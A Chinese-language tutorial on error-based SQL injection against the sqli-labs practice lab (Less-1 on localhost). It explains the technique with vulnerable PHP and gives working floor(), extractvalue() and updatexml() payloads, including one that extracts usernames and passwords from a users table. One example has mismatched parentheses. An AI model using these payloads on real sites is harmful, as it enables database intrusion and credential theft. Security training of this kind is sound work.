报错注入(基于sqli-labs第一关)

报错注入原理

构造payload让信息通过错误提示回显出来

应用场景:

  • 查询不回显内容,会打印错误消息
  • update,insert等语句,会打印错误信息  (UNION联合注入不适用于update,insert等语句之后注入)

典型存在报错注入的代码:

if($row)
{
      echo 'Your Login name:'. $row['username'];
else
{
      print_r(mysql_error());
}
报错注入方法:

凡是可以让错误信息显示的函数(语句),都能实现报错注入,这里列举3种:


floor():

select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2));
注:
  1. concat: 连接字符串功能
  2. floor: 取float的整数值(向下取整)
  3. rand: 取0~1之间的随机浮点值
  4. group by: 根据一个或多个列对结果集进行分组并有排序功能
  5. floor(rand(0)*2): 随机产生0或1

sqli-labs第一关:
http://127.0.0.1/Less-1/?id=1' and (select count(*) from information_schema.tables group by concat(0x7e,(select version()),0x7e,floor(rand(0)*2)))--+
波浪号之间的就是执行结果

group by 对 rand()函数进行操作时产生错误


extractvalue():

select extractvalue(1,concat(0x7e,(select user()),0x7e));
第一个0x7e只要是非法xpath格式就行
ectractvalue():接受两个参数,第一个XML文档,第二个XPATH语句

xpath语法错误产生报错


updatexml():

select updatexml(1,concat(0x7e,(select user(),0x7e),1);
http://127.0.0.1/Less-1/?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
中间参数是xpath语法

对xpath语法错误产生报错

TIP:

报错注入对返回的数据长度是有限制的,最多有32位,怎么办?
答:用substr对数据进行截取。

http://127.0.0.1/Less-1/?id=1' and (select updatexml(1,concat(0x7e,(select substr(concat(username,0x7e,password),1,6) from users limit 0,1),0x7e),1))--+
返回结果:~Dumb~D~

你可能感兴趣的:(报错注入(基于sqli-labs第一关))